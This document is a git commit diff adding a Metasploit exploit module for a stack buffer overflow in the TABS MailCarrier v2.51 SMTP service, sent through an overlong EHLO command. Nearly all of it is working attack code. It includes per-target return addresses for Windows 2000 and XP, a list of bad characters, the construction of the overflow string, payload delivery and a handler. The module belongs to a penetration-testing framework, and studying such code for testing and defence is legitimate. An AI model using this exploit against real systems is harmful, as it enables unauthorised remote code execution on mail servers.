New module from Patrick Webster

git-svn-id: file:///home/svn/framework3/trunk@5095 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb

@@ -0,0 +1,90 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/ 
+##
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Smtp::MailCarrier_SMTP_EHLO < Msf::Exploit::Remote
+	
+	include Exploit::Remote::Tcp
+
+	def initialize(info = {}) 
+		super(update_info(info,    
+			'Name'		=> 'TABS MailCarrier v2.51 SMTP EHLO Overflow',
+			'Description'	=> %q{
+            		This module exploits the MailCarrier v2.51 suite SMTP service.
+			The stack is overwritten when sending an overly long EHLO command.
+			},
+			'Author' 	=> [ 'Patrick Webster <patrick[at]aushack.com>' ],
+			'Arch'		=> [ ARCH_X86 ], 
+			'License'       => MSF_LICENSE,
+			'Version'       => '$Revision$',
+			'References'    =>
+			[
+				[ 'BID', '11535' ],
+				[ 'CVE', '2004-1638' ],
+				[ 'URL', 'http://milw0rm.com/exploits/598' ],
+				[ 'OSVDB', '11174' ],
+			],         
+			'Privileged'		=> true,
+			'DefaultOptions'	=>
+			{
+				'EXITFUNC' 	=> 'thread',
+			},
+			'Payload' =>
+				{ 
+					'Space'			=> 300,
+					'BadChars' 		=> "\x00\x0a\x0d:",
+					'StackAdjustment'	=> -3500,
+				},
+			'Platform' => ['win'],
+			'Targets' =>
+			[
+				# Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.
+				[ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63	} ], # jmp esp expsrv.dll w2ksp0 - xpsp1
+				[ 'Windows XP SP2 - EN', 		  { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en
+			],
+			'DisclosureDate' => 'Oct 26 2004',
+			'DefaultTarget' => 0))
+            
+			register_options(
+			[
+				Opt::RPORT(25),
+				Opt::LHOST(), # Required for stack offset
+			], self.class)
+	end
+
+	def check 
+		connect
+		banner = sock.get_once(-1,3)
+		disconnect
+
+		if (banner =~ /ESMTP TABS Mail Server for Windows NT/)
+			return Exploit::CheckCode::Appears 
+		end
+			return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		connect
+		
+		sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)
+		sploit << [target['Ret']].pack('V') + payload.encoded
+		
+		sock.put(sploit + "\r\n")
+		
+		handler
+		disconnect
+	end
+
+end
+end